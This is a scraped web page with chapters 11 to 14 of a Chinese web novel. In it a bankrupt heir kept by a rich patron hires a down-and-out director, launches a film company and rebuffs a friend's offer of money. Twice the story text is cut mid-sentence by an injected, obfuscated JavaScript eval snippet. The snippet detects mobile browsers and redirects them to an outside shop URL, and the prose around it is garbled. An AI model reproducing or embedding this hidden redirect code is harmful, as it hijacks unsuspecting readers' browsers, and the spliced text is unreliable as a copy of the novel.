他寻思着下次送几瓶香水给杨修岳,提高提高他的品位。 霍少棠松开他的衣领:“乖小猫。” 两人走到卧室门口,霍少棠进门前提醒他:“睡前涂药。” “知道了。”明昭摆摆手。 明昭进门先冲了个澡,吹完头发出来才拿起桌上的药,他没什么耐心,胡乱往身上抹了抹。等抹完药准备打开电脑时,他才发现桌上多了一幅画。 深蓝色的海水压在一起,深海处似乎有一颗心脏同他共振。 11. 第 11 章 “可惜你上次鸽了我没看到,你放在手上靠近看着实物才能明白为什么叫《共振》,色彩运用登峰造极,你亲眼看到绝对会更喜欢。” 明昭抓着手上的画,思考挂在哪里更好点,正在通话的手机开了免提放在旁边桌上,周予行惋惜的声音传出。 接通他的电话前,明昭就猜到他打电话过来的用意。 明昭摩挲着手上的画,赞同:“我确实很喜欢。” “可惜被人买走了,你又一次错过了。”周予行道。 挂在卧室不太合适,明昭走到书房:“这幅画总会是我的。” 周予行突然哈了一声,觉得明昭还真是心比天高,都沦落到去六观庭陪酒了,还能口出狂言。不过这人前段时间辞了六观庭的工作,不知道现在在哪打工。 但这只往日骄傲孔雀从高台跌进泥潭是不争的事实。 周予行都有些可怜明昭了,在最张扬年轻的时候遭遇明家破产,到了现在还没有看清自己的处境,仍沉浸在明家大少爷的幻梦中。 “你已经不是大少爷了,恐怕把你卖了都买不起。”头一回周予行对明昭这么冷淡,他有意要明昭认清现实,知道两人地位依然不同,明昭最识趣的做法是乖乖接受他的好意向他低头。 明昭那张脸确实长得独一无二的出挑,如果明昭愿意自荐枕席,他会给他衣食无忧的生活。 明昭已经找好挂画的地方,准备等会儿让佣人挂上去,闻言挑了挑眉:“卖了多少钱。” 周予行说了一个数。 明昭不咸不淡开口:“我的卖身钱还是可以买好多副的。” 周予行笑了:“你也太有自信了,只是你就算有钱也买不到了,很少听过那位买家转手什么藏品。” 明昭仍旧不以为意:“或许就转到我手上了。” 周予行:“……” 明昭全身家估计连画框都买不起,周予行慢悠悠道:“我劝你还是死了这条心,这画是霍少棠秘书亲手从我手上收的。这位爷你明家还没破产的时候,都不够格能让他割爱。” 明昭笑笑:“你放心,就算明家破产了我想要的东西也都能拿到。” 挂断和周予行的电话,明昭指挥佣人把画挂起来。 由于腿受伤了,厨师做饭严格遵守医嘱,明昭被迫养生吃了几天几乎能淡出鸟来的饭菜,感觉人生都黯淡不少。能够健步如飞当天,他立即打电话约了好友下馆子。 “有人来了吗?”韩连白跟着服务生往包厢走,一边问道。 “已经有一位先生到了。”服务生答到。 “刚到?” 服务生:“到了大概是十五分钟。” 韩连白咽了咽口水:“他心情怎么样?” 服务生回想方才客人的表情,一张极其漂亮的脸孔,她措辞谨慎道:“面无表情,似乎不是很开心。” 看到韩连白立刻紧张的神情,一旁的周济笑了:“不是,至于吗?约的时间还差五分钟,明少现在也不是大少爷了,你怎么见了他还跟老鼠见了猫似的。” 韩连白摆了摆手:“你不懂,明少爷可太难哄了……”他叹了口气,也不知道今天明昭抽了什么风来得这么早,平时最晚到就是他。 等推门进到包厢,韩连白一看明昭脸色总算放下心,幸好,没生气。 这人一张冷脸,面无表情都能让服务生误以为他生气了。 听到推门声,明昭视线从窗外收回,抬起眼望过来,无机质眼神透着冰冷的美意。凉风吹起薄纱的窗帘拂在他身上,明明是微微仰头的姿势,冷艳的脸上却是一副目无下尘的表情。 以前早就听闻明大少爷的威名,现在一看还真是富贵堆里才能养出来的居高临下的气势,即便如今身无分文,照旧灼灼逼人。 周济冷眼看着明昭一身叫不出牌子的衣服,但依然能看出上好的料子。明家破产明添宏绝望跳楼,他听闻这位房地产大佬跳楼前给明昭留足了足够挥霍后半生的财产,现在想来应该不假。 一旁的韩连白看到明昭,已经大步上前抱住他:“昭儿,前段时间叫你你也不出来,大少爷怎么今天有空了?” 明昭跷着二郎腿任由韩连白弯腰抱住他:“打工呗,我还能干嘛。” “你前段时间不在六观庭干了,现在又去哪了。”韩连白放开明昭,问道。 “被人买断了,不干了。”明昭无所谓道。 韩连白只当他在开玩笑,笑嘻嘻道:“你走了,林子尧找不到你,现在还在失魂落魄。要我说人林少爷现在一颗心挂你身上,你也别这么无情了。” 明昭摊了摊手:“金主不允许红杏出墙。” “金主太小心眼,踹了吧。”韩连白道。 明昭没搭理他这话,转而摸出一把钥匙丢他怀里,韩连白拿到钥匙看了看,问道:“你不住了?” 明家破产之后明添宏名下的房产都被拍卖抵债,挂在明昭名下的房子除了一套大平层也都被拿来抵债,但最后那套大平层也被明昭卖了。韩连白听闻后来明昭租房住,就把自己一套别墅借给明昭。 明昭:“我也没住过。” 锦衣玉食的大少爷不会想到他一个破产人士无法供养一套别墅,给他一套一室一厅的房子都比大别墅有用得多,当然韩少爷名下也不会有一室一厅的房子。 韩连白还欲问他现在住哪,明昭已经站起来朝一旁的周济伸出手:“明昭。” “周济。”周济握住明昭的手。 韩连白这才给两个人做起介绍。 周济和韩连白小时候是邻居,家里做一点小生意,和韩家、当初的明家比起来就是小打小闹,但也衣食无忧,至少不至于破产的负债会逼得他爸跳楼。至少能支持他走娱乐圈这条路,不会认为演员是上不了台面的戏子。 韩连白笑着搂住周济:“我们周子一开始可是学的导演,看看这脸还是做演员才值当啊。” 周济无奈看了他一眼:“得了吧,我是没那个天赋,再说我真长得这么好还能是18线?” “谦虚了啊,”韩连白道,“至少也是8线吧。” 周济踹了他一脚:“滚。” 韩连白笑嘻嘻躲开,又凑到明昭跟前:“怎么了昭儿,你也想当演员了?” 他做势朝明昭的脸仔细看了看:“你这张脸当演员指定是大明星,是吧周子?” “是啊,娱乐圈也没几张脸有明少爷好看。”即便在这一行见过不少建模脸的帅哥,周济也不得不承认明昭这张脸放在娱乐圈也能大杀四方。 不知道怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193853|197116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么有人能生在富贵乡还能够长得这么出挑,上天似乎真的格外喜欢这个人,什么好的东西都往这人跟前堆。 就连家里破产了,也不忍心让这个人受苦,让他有这样一张脸能够重新站上牌桌。 然而这位天子骄子没有明白上天的良苦用心,把老天给的饭碗给踹了:“没当演员的兴趣,我在筹备电影,周哥,你有认识的导演推荐吗?” 周济几乎要忍不住笑,大少爷真的是过得太顺了吗?即便已经破产了,身边有朋友接济有父亲留下的财产,所以没体会过生存的艰苦,顺风顺水的一生让他在这种境地都想着创业重来,而不想吃一点演员的苦。 周济笑着看向他:“现在观众不好糊弄,做电影不是这么简单,不像以前弄几个大牌明星观众就会乖乖进影院。” “不过我倒是想知道你现在找到了哪些演员?”周济有些好奇问道。 “一个也没。”明昭道。 周济明白了:“你这是想找新导演然后捧新演员?” 明昭嗯了一声。 “那更难了。”周济道,照明昭这种做法几千上亿投下去估计也只能听个响,他听说明昭已经去六观庭做服务生,当时他听说时不明白有明添宏留下的财产,明大少爷为什么还自甘轻贱去陪酒卖笑。 现在想来估计是明少爷早就有了拍电影的想法,可是钱不够去六观庭赚钱,现在资金充足了就准备拍电影。 如果是以前明家没破产前,大少爷想花钱听个响,周济还乐得在一旁一起听,不过现在明昭都落魄至此了,他也没有这么缺德还把人往火坑里推。 但他有心要劝,明昭却十分坚决,韩连白这个不学无术的公子哥也在一旁帮腔:“就是难才有挑战性,昭儿放心拍,电影上映我给你冲票房!” 周济无语了。 果然还是纨绔子弟更有共同语言! 听着韩连白替明昭畅想电影上映之后的庆功宴要在哪里举办,要请哪些漂亮女明星,开哪瓶最贵的酒,周济彻底麻木了。 韩连白找他一起过来,周济也知道这场饭的用意,还是给明昭推荐了几个导演。 明昭能力怎么样他不了解,但眼光还真是高,周济给他推荐的几个导演都不满意,不是嫌人家镜头不好看,就是嫌人家以往作品的太文艺、节奏慢。 他忍了忍还是没忍住:“当导演谁都想拍文艺片,这部片子虽然票房不好,但圈里都有口皆碑,也拿了几个奖。” 明昭搜一下影片获得的奖项和评分,毫不掩饰道:“周哥,我没什么做高雅艺术的心,我俗得很,就想拍商业片赚钱。” 倒是很诚实,周济叹了口气,给明昭推了以前导演系的一个学长:“袁均师兄是我前几届的师兄,他大学拍的都是接近市场热点的片子,不过毕业出来之后没有什么好的发展,现在没在拍戏。你可以去找他,问问他愿不愿意和你合作。” 给明昭看完袁均的短片,明昭还没说话,一旁的韩连白已经嚷嚷起来:“我搜了一下,这人拍过的两部电视剧都是烂片!周子你太不仗义了,这人真的能拍出什么好电影吗?!” 明昭拿过韩连白的手机,浏览一遍剧情简介、演职人员和工作人员列表,笑了笑:“我会找他。” 韩连白:“欸?!” 12. 第 12 章 同韩连白和周济辞别,回到车里,明昭便给袁均拨了个电话。 袁均十分痛快,听闻明昭的来意,没有半分推脱,没有任何其他创作者的清高傲气,二话没说立刻答应下来。 明昭最喜欢的就是识趣的人。 在明昭决定找袁均时,周济就和他说过,由于当时拍的两部电视剧不叫好不叫座,已经很久没有人找袁均拍戏,他偶尔跑剧组给大导演当助理,辛辛苦苦好几年还是过得穷困潦倒。 这两年已经寻思在转行,还和周济感慨没长他这样一张英俊的脸,不然也去当演员了。 明昭给他打电话时他话音中带着浓浓的睡意,估计是从被窝里被电话叫醒。 明昭也听过一些导演心气高即便吃了上顿没下顿也不愿意低下头顺从投资方的故事,他对这些清高人士敬谢不敏,甚至有些嗤之以鼻,没有面包谈什么精神追求,纯粹是还过不够苦。 对于袁均毫无扭捏的姿态,明昭十分满意。 袁均并不住在燕城,坐高铁过来需要三个小时,可能是怕错过这个机会,明昭挂断电话的第四个小时他已经抵达燕城,拿着剧本和明昭坐在餐厅。 瘦,是明昭对袁均的第一印象,两颊消瘦的凹陷进去,不高的颧骨突出得明显,剪得极短的板寸能够清晰地看到青色的发茬,两只大大的眼睛凸出地看着明昭。 明昭接过他递过来的剧本,让袁均先用饭,他不紧不慢地翻开剧本。 袁均没有吃饭的心思,语速极快地跟明昭讲了一遍剧本。 一个富豪死亡,一堆儿女争遗产的故事。 他用简洁的语言概括完故事后静静看着明昭,明昭回视他,突然笑了笑:“豪门纠葛在电视剧领域很时兴,但是最几年的电影市场还没有过票房超过5亿,袁导,我等了您4个小时,您就用这个本子忽悠我吗?” 说到最后,明昭脸上的笑意已经消失殆尽,冰凉的眼神薄刃般刮过袁均周身,像是在打量一条濒死的、毫无价值的鱼。 和说话时总是热切的语调不同,袁均的眼神从见面起始终平静,即便听到明昭这么不给面子的话目光也没有任何变化,音调却变得急促起来:“这是我写了三年的剧本,只要能拍出来,我保证票房一定不会低于10个亿。” 明昭把手搭在椅背,仍旧冷眼看着他:“那又怎么样?” 确实不能怎么样,袁均默然,观众如果不感兴趣,就算写上三十年照旧是无人问津的废品。 半晌,袁均终于又开口:“我敢肯定观众会买账。” 明昭笑了一下:“很无力的说辞。” 明昭身子前倾,手支着下巴:“周济说你拍的片子都贴近市场,我很想知道你是怎么抓热点的。” 袁均扯了一个假笑,看起来有些惨淡:“只是周师弟抬举而已,如果真的贴近市场,我现在也不会被市场抛弃。” “我不过是炒市场的冷饭,什么火就跟着一起拍罢了。” 电视市场跟着这么拍可能没错,但是电影观众的喜好最难以捉摸,似乎只有拍出好电影才能够抓住他们,但是究竟什么是好电影呢? 那些在国际上拿了大奖的文艺电影不是好电影吗?为什么票房依旧惨淡。 一部商业电影究竟要达到什么程度才是好呢?难道那些票房惨淡的电影导演拍电影的时候都没有尽心尽力吗?难道他们的电影不叫座全都是他们没有好好拍吗? 不一定吧,只是这一行天赋实在是太重要,故事每个人都能讲,但不是每个人讲的故事都有人愿意听。 原本以为听到这话对面的人就该像其他电影制片人一样转身要走了,但明昭却没有。反而出乎意料地堪称温和拍了拍他的肩,和他这个人冰冷的气质毫不相符:“我相信这部电影绝对20亿往上,你应该自信点。” 明昭作为一个圈外人,最近恶补电影知识,他没有要做导演和演员的心思,并不将电影内容全部看过,仅仅把从上个世纪以来的所有卖座的电影梗概全都看了一遍。 他没有什么创作者的思维,只把自己当做局外人,揣摩电影票房大卖的缘由。 他没打算做出一部流传百年的电影,赚钱是他筹备电影的第一宗旨,当下的观众感兴趣就够了,至于几十年后这部电影是否留下姓名他并不在乎。 他没有什么艺术追求,他只是一个一心想赚钱的俗人。 他决定见袁均时,并没有一定会选择他的想法,导演多的是,这个不行再换另一个就是了,直到见到这个剧本他才肯定,这一定会是他做制片人的第一部电影。 观众的喜好难以捉摸,然而豪门纠葛是始终以来都热门的话题,窥探豪门生活是观众们并引为笑谈是观众们始终乐衷的事,否则当代富豪、王室的私生活就不会被人谈了又谈。 专门讲述豪门的电影往往伴随着夸张的奢华甚至着重于表现奢华,但电影的始终核心是情绪,能牵动观众情绪才能让观众愿意走进影院。 而眼前的剧本足够了。 明昭能看出袁均故事里观众感兴趣的点,袁均写这个故事时未必不知道。然而这个人似乎从大学毕业进入社会以来遭受了太多磋磨,以至于还没有到30岁,已经要把身上的傲气快要磨没了。 在他身上,明昭看不出一丝身为创作者的意气,似乎只剩下一点微末的对生存的渴求。 困难真的是创作者的土壤吗?都说文章憎命达,可能这对于文字创作者来说是的,但是对于一个电影导演这似乎是一个致命打击。 经历过太多失败会摧毁一个导演。 明昭突然觉得上天确实不公平,他这么一个不学无术又一无是处的人,前半生挥金如土,破产后想要卖身还能轻而易举就碰上别人求都求不来的高枝。 现在竟然还能坐在一道菜四位数的餐厅里,一个想法就能决定面前的这个故事是否要放上大荧幕。 命运就是这么不公平。 而他面前的人听到他的话甚至眼眶有些泛红,方才毫无波动的目光泛起涟漪,十分 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明昭卷起手上的剧本,对他道:“你在燕城的房子我帮你找,明天你到了燕城联系我。” “这是不是太麻烦您了。”袁均有些受宠若惊。 “没什么麻烦的,”明昭云淡风轻道,“演员你如果有想法就告诉我。” 想了想又道:“不要大红的、签了公司的演员,我准备开一个电影制作兼艺人运营的公司,届时这部剧的主角和主要配角我都会签下来。” 两个人在门口分别,袁均看着明昭架着招摇的帕加尼离开。临走前,还摇下车窗伸出只修长的手朝他挥了挥,夕阳余晖给这只手镀上金边,宛若他几年前曾在寺庙袅袅的香火中仰头望见的金漆佛手。 金乌的灰烬热烈得一直在刺入袁均的眼眶,他眨了眨眼皮抖落一身的热烈,拦了一辆出租车赶往高铁站。 今天和袁均的一顿饭,明昭虽然只吃了一点水果和甜品,但晚饭也彻底吃不下了。 他摆手制止佣人给他摆碗筷,仅坐在霍少棠旁边翻看剧本。 霍少棠吃饭没有什么食不言的规矩,不过此时也没有和明昭搭话,甚至眼睛都不往明昭身上望一眼。安静地用完餐,用餐巾擦擦嘴和手指,方才不紧不慢道:“有什么事。” 明昭侧脸看向他:“我好像没说有事吧?” 霍少棠掀起眼皮,淡淡睨了他一眼:“没事你坐这?” 喊明昭小猫,不代表他真是一只猫,这人可从来没有黏着人的时候。 明昭收起剧本:“我选好导演了。” 霍少棠:“嗯。” 装模作样,明昭在心里啧了一声:“他没地方住,这儿旁边这么多独栋别墅,哪里他可以住?” “哦?”霍少棠挑了挑眉,“一个月不到就要带野男人回家了。” 明昭用卷起的剧本点了点餐桌:“不可以吗?我是这儿的主人。” 霍少棠压住他轻摆的手腕,餐厅骤然安静:“让曾达替你找外面的房子。” 13. 第 13 章 第二天上午十点,明昭还在上课,曾达将找好的四室两厅的公寓地址和密码发到他的微信上:【少爷,房子都着人打扫完毕,电器家具也已备齐。】 明昭给他回了一个OK。 明昭把曾达发过来的公寓信息转发给袁均,问他对演员的人选有没有什么想法。 袁均写剧本时,设想的演员人选都是有名有姓的演员,现在明昭让他选新演员,只好对手机那头的明昭道:【不如海选,海选的事情我来准备。】 明昭没有什么不可以,只表示到时候他和杨修岳都会过去。 至于摄制组的人员组成,袁均则提议由他一个朋友岑宝月担任执行导演,岑宝月交游广阔,做过电影的执行导演,统筹能力极为出色,不如就由她筹备摄制组。 明昭看完岑宝月的资料,同意了袁均的提议。 下午下了课,明昭又马不停蹄赶往流金大厦,他们租了流金大厦33层的四个办公室,将隔断墙拆掉,将四个办公室连成整体。 公司装修完毕,方才杨修岳发消息给明昭,让明昭过来剪彩。 公司门口摆满了花篮,明昭一眼望过去,发现上面贺卡除了祝贺词,全没落款。 明昭撇了旁边一身正经西装的杨修岳:“至于么,整个公司就我们两个。” 杨修岳剪刀和彩带递给明昭,笑笑:“好寓意必不可少啊,老板。” 随后他指了指最近门边另一排花篮,提醒只看了一排花篮的明昭:“而且花篮也不全是我买的,还有霍总和霍氏集团送过来的,那一整排全是。” 明昭望过去,挑了挑眉。 杨修岳继续道:“霍总的特助还特意送来了开业礼物。” “哦?”明昭调整站位,目光看向被拉来当摄影师的物业人员,“送了什么。” “金丝楠木雕刻的放映机摆件。”杨修岳道。而且是以霍少棠的名义送过来的,贺卡之上霍少棠的签名笔走龙蛇,分外惹眼。也不知道明昭和霍少棠是什么关系,还劳动了霍少棠特助千里迢迢送礼物过来。 杨修岳看了一眼明昭,这人仍旧面色淡然,毫无任何受宠若惊的神色。杨修岳心中暗叹,这宠辱不惊的气派不愧是当了十几年的大少爷。 杨修岳还准备说点什么,旁边拿着礼花筒的物业人员提醒他们:“两位准备了,还有三十秒整点。” 杨修岳立即目视镜头,微微笑着,在十秒倒计时中低头剪开彩带。 两个人剪掉彩带复又抬头望镜头。 “咔嚓。” 照片中一个人穿着灰色的卫衣和黑色休闲裤,建模般的脸上没有任何表情,旁边一个人穿着全套严丝合缝的西装,甚至还喷了发胶,眉眼含笑。 时过经年,许多人看到这张照片都不由感慨作为娱乐圈龙头的影视公司,两个大老板拍的开业照穿着这么格格不入,仅就两个人开业剪彩看起来完全的小作坊,竟然引领了影视圈几十年。 现在在场的所有人都没有预料到以后公司的发展,明昭和杨修岳站在这个当下,最为忙碌的是公司人员的选聘。 明昭一开始还准备当甩手掌柜,然而看到杨修岳两只眼睛挂着的乌黑眼圈,难得良心发现,一下课就赶到公司跟着杨修岳一块加班,抽空还得回复袁均的询问。 袁均行为极其谨慎,甚至到了小心翼翼的程度,一些在明昭看来无关紧要的小事,也要请示,搞得明昭烦不胜烦,他已经数不清在这三天的时间里他对袁均说过多少回让他自己看着办。 云锦华庭离公司太远,明昭跟霍少棠打了招呼,连续几天都睡在公司的休息室,每天起床的第一件事就是打开微信看杨修岳又给他发了什么消息。 昼夜颠倒的结果就是一个星期明昭瘦了六斤,每天吃外卖吃得明昭看到外卖盒就开始反胃。 这天周日,明昭看着中午的又一顿预制菜后终于受不了了,他臭着脸扔掉手上的筷子:“今天下午休息,不要给我发任何消息。” 杨修岳正在一边刷公众号文章一边吃饭,闻言抬头看向一脸的明昭。 这几天和明昭一起工作,杨修岳发现明昭并不是完全的不学无术,他确实有很多地方不懂,然而这人眼光毒辣又悟性极高,还十分好学,前一天不明白的点,第二天再和他一起讨论时已经能就这个方向侃侃而谈。 甚至这人白天上课、和他工作,晚上除了和他一起加班外,还要额外的每天雷打不动上一个两个小时的管理课程。 袁均最近在各个地方取景,他甚至还能抽空跟袁均讨论各个景色及场景是否适合拍摄,在这些地方拍摄是否可行等等等等,不一而足。 这人虽然总是冷着一张脸,却格外有耐心。 杨修岳甚至以为明昭以前对这些有所涉猎才能和袁均讨论得有来有回,直到有一次早上六点钟起早了来公司才发现明昭正在网上看网课学习。 这一个星期下来更是清减许多,原本就皮贴骨的样貌愈发锋利,现下两人面对面吃饭,杨修岳甚至能看到他薄薄的、苍白的面皮下青色的毛细血管。 以至于杨修岳竟然离谱的在这么一张冷淡浓艳的脸上,看出一丝罕见的脆弱。 这个发现或者说是想法,简直离谱又骇人。 杨修岳十分明白明昭这人倨傲冷然,脆弱不过是外表的欺骗,然而他只在幼儿的脸上看见过青色的血管,他两岁的侄女皮肤白皙而薄,脸上就能够明显看出毛细血管的痕迹。 现在这种似乎独属于幼儿的特征表现在明昭的身上,令杨修岳感觉有些复杂。 他吃饭的动作顿了顿,突然想到在他办公桌上的请柬,他开口叫住准备起身离开的明昭:“等等,今天晚上QR杂志有个慈善晚宴,我一个朋友是他们副主编,给咱俩递了邀请函,前几天太忙忘记跟你说了。今天周末正好去一趟,权当放松了,你要进入影视圈,也可以认识认识圈里人。” QR杂志每年举办的慈善晚宴众星云集,此外还会邀请众多企业大佬参与,也是为了给明星、经纪人和大佬们牵线搭桥,不论是电影还是电视剧都需要各企业参与投资,彼此认识熟悉才好谈合作。 闻言,明昭看了他两眼,复又坐下来,抱臂靠着椅背不发一言,饭也懒得吃了。 杨修岳知道他的脾气,一旦放下筷子,除非是很合他口味的饭菜,否则大少爷宁愿饿着也不会动一下筷子。 杨修岳没办法,大出血给明昭下单附近一家米其林餐厅的餐。 大少爷真的是极难伺候,明明一样的饭菜,装进外送的餐盒在大少爷看来味道就和坐在餐厅中的味道不一样,好像外送餐盒抹了厌食剂一样,大少爷草草吃了几口就放下筷子。 杨修岳又给他点了一杯奶茶,然后让方才约好的化妆师和造型师上门。 他们不是什么大明星,不用什么夸张复杂的造型争 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193855|197116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艳,明昭让造型师先给杨修岳弄,对着杨修岳道:“我去眯一会儿,弄好之后叫我。” 明昭办公室单独开了一间休息室,堪堪放下一张一米五的床和沙发、衣柜,和一间不大的浴室。 杨修岳弄完造型,敲了敲明昭休息室的门,没人应。 他试着推门,没锁,门轻易被他推开。 窗帘被拉得严严实实,昏黑一片,办公室的灯光穿过一人身的缝隙投在休息室的床上,明昭全身都藏在被子中,被子表面能看出他蜷缩成一团的身子。 空气中是明昭常喷的香水味道,明昭身上香水味并不浓,杨修岳只偶尔距他过近时才能闻到他头发上、脖颈中若有若无的香味。 在休息室这个密闭的空间中,香水味混杂明昭的气息,近得杨修岳一时间觉得自己似乎就趴在明昭脖颈上嗅闻他身上的味道。 明照原来一直用的都是女香,淡淡的兰花香味道。 杨修岳恍然。 空调的冷风撒在他后背,杨修岳回过神来,他走近两步,叫了明昭一声。 被子动了动,露出明昭半个脑袋,有些冷淡慵懒的声音闷闷地传出:“拉窗帘。” 杨修岳清了清嗓子,走到窗边拉开窗帘,热烈的阳光洒入。 他转过身,明昭已经从床上坐起来,被子搭在他腰腹间,脸色比方才要更加苍白得多,不知道是不是他因为蒙着头睡觉,额上、颈边都是泛着细细的、薄薄的汗。 杨修岳顿了顿:“没睡好吗?怎么出了这么多汗。” “没。”明昭冷淡道,没等杨修岳再看,他已经从床上爬起来走进浴室。 明昭在公司住了一个星期,但休息室里全都是休闲装,方才睡觉前他给曾达发了消息让他把西装送过来。 等造型师帮他弄好发型,西服恰好送到。 极其简单低调的黑色西装,除了剪裁良好,没有其他有意思的设计。 造型师看到这套西装,有些惋惜:“你比较适合大胆一点的衣服,这套配你有点素了。” 明昭五官艳丽,又是极为高挑的男模身材,这么素的西装实在配不上他出挑的脸,造型师还是头一回给条件这么优越的男士做造型,看到明昭选的西装深觉浪费这人这么好的硬件。 然而明昭换好衣服出来,他顿了顿,又不由感慨,果然长得好穿什么都无关紧要,所有人都只会聚集在他这张脸上和身材上,只要衣服剪裁好,这人优越的身材和长相就会显露无遗。 实在是太适合吃娱乐圈这碗饭。 不当明星不让全世界的人都看到这张脸简直暴殄天物,多么适合接受万人仰望爱慕的脸。 明昭不知道造型师心里的弯弯绕绕,他脸上抹了淡淡的粉,只觉得很难受。 他脸上没有什么瑕疵,化妆师也觉得他不用上妆,只需抹个口红让气色更好点就够了。但杨修岳说他最近瘦了脸上能看见他的毛细血管,可以用粉底盖一下。 明昭觉得用不着盖,反正也没人盯着他的脸看,而且就算看到又怎么样? 可杨修岳却很坚持,声称不抹粉看起来太柔弱。 明昭闻言果然动摇,他十分好面,绝对不肯在别人面前表现出一丝一毫的柔弱,随即让化妆师给他上了淡淡的妆。 临走前,化妆师又给他抹了抹口红,看着这张漂亮的脸,十分耐心地叮嘱:“注意少舔嘴唇,口红都被你吃了。” 14. 第 14 章 晚会排了几十个小圆桌,最前排无一不是一线演员,外加声名斐然的企业老板。 明昭和杨修岳被安排在最后面一排的桌子,整张桌子明昭就认识杨修岳一个人,杨修岳在忙着和旁边人社交,明昭百无聊赖看着最前面几桌的人竞拍收藏品。 藏品多是场内的明星和大佬们提供,明昭一整场看下来没一个感兴趣的,愈发无聊。 由于有摄像机架着拍摄,场上除了工作人员走动,所有人都规矩地坐在位置上,无趣透了。 晚会结束后的after-party总算没那么没劲儿,杨修岳如鱼得水拉着明昭的手介绍给圈内人,娱乐圈人员认识明昭的不多,看到他都以为杨修岳新捧的艺人。 听到他竟然是娱乐公司的老总,虽然没听过公司名字,但也纷纷目露震惊,一时间在嘴边准备打趣他让他去当明星的话也立即咽下去。 笑话,真的有能力开公司当老板的人谁会愿意继续当明星,除非真的热爱演戏或者享受粉丝的追捧。 等几乎介绍完一圈杨修岳认识的明星、投资人,杨修岳又跟着新认识的人继续社交,十分体贴地让明昭不想跟着就随便先坐坐。 after-party的地点在一栋三层的别墅,宴会场上衣香鬓影,然而没有几个明昭认识的人,他一个人百无聊赖从三楼溜达到别墅外的小花园。 花园中有一个小秋千,明昭坐在秋千上脑袋靠着秋千吊绳放空。 正在他出神之际,突然有人叫了他一声:“明昭?” 明昭转头看向来人,有些稀奇:“你怎么在这里?” 方才的慈善晚宴上他可没有见到林子尧。 可能是由于喝了一点酒,明昭往日里总是挂着的疏离感淡了些,林子尧站在他对面道:“我和表哥一起过来的。” “你从六观庭离开了吗?”林子尧又问道。 明昭点头:“你以前买的酒可以转给我,我把钱付你账上。” 闻言,林子尧的动作顿了顿,有些犹豫地开口:“为什么?” “哪有那么多为什么。”明昭道。 林子尧清楚如果不是因为缺钱,明昭不回去六观庭当服务生。他低头看着杯中暗红的红酒,过了几秒又抬头看向明昭:“你已经不缺钱了吗?” “缺啊,怎么不缺。”明昭有些懒洋洋道。 林子尧皱眉:“那你……” “现在手上有了一点钱,你不喝酒,买那些酒没什么用,不如转手给我。”明昭道。 林子尧没有问他钱从哪里来,只摇了摇头:“没事,我买酒也没有花很多钱。” 明昭目光注视他几秒,举杯又抿了两口酒:“也挺多的。” “真的只是一点酒,你不用这样。”林子尧道。 安静了几秒,他又继续开口道:“如果你缺钱的话,可以和我说。” 明昭抬头注视他。 在明昭的视线中,林子尧缓缓从口袋里摸出一张卡:“里面有三千七百万,可能会对你有点用?” 他有些小心翼翼地将卡推到明昭的跟前。 明昭垂着眼看桌上的卡。 明昭过了十几年的少爷生活,从小没心没肺,做事全随自己心意,自己的意志至高无上,其他的人心情从不在大少爷考虑范围内。 围着他大献殷勤的人实在太多,他以前记不清,现在也没想起来多少。 像林子尧这样的人,他见过无数,早已经习惯。 林家是新崛起的新贵,起来的时间不过十一二年,明昭记不清了,反正应该差不多,因为林子尧是小学的时候转入他们班。 富豪权贵们心眼跟马蜂窝一样多,富二代们也不遑多让,他们小学是贵族私立学校,每个人在踏进校门的那一刻,家世已经将他们分割得泾渭分明。 百年积累的权贵看不起林家这样初露头角的“暴发户”,连带着林子尧也没被高看几眼。 倒是这几年环保科技越发火热,林家水涨船高,人随船高,船上的林子尧身份自然跟着贵重了起来。 明昭只记得明家没破产前,林子尧和自己并没有什么交情。 唯一有过的交集是林子尧小时候被那群富二代欺负,明昭帮过他几次,这些事对于明昭来说是小事、是举手之劳,如果不是林子尧来六观庭照顾他生意,这些事他早已经忘了。 明家破产之后,林子尧出现在他跟前的次数多了不少,在六观庭是经常捧他的场跟他买酒。 明昭一直懒得琢磨别人的心思,但林子尧的表现,瞎子都能看得出来是什么意思。 他看着林子尧,问:“怎么?你想包养我?” 他的话似平地一声惊雷,林子尧忍不住哆嗦了一下,嘴唇有些发颤地开口:“没有,我没有这么想。” 正是因为这样明昭才不愿意接受他的好意。 林子尧的心思简直是摆在明面上的,明昭宁愿被包养,也不愿意欠这种人情,没有什么比钱货两清更好的交易模式,花钱买真情简直是最可笑,也是最恐怖的事情。 明昭灌了一口酒,方才开口道:“你就算想也没可能了,已经有人捷足先登了。” 这句话的威力比方才的话威力更要重得多,林子尧几乎无法相信自己的耳朵,他失态地捏紧酒杯,双目颤动:“你……” 明昭怎么会忍得了被包养,他那么自傲的人。 他喃喃:“不可能……不可能!” 宛若高山明月白雪的人,怎么可能自甘轻贱去做情人? 可能是有些微醺了,明昭难得语调柔和:“没有什么不可能的,你如果想做我朋友我随时欢迎,其他的关系就算了。” 明昭明白,大多数人对他的喜欢或许是因为他的脸,例如周予行,例如霍少棠,也有一些人是因为当时他的钱,明家破产之后这些人也就不见了。 至于林子尧,明昭不知道原因,但他能看得林子尧这两者都不是,这让明昭很烦躁,他讨厌处理这种感情,但无论怎么样他没资格轻贱这种感情。 可让林子尧知难而退总是可以的。 林子尧仍旧摇头,他死死的盯着明昭:“他有钱,我也有钱,如果你需要钱,需要包养关系才愿意接受我的钱,我也可以包养你。” 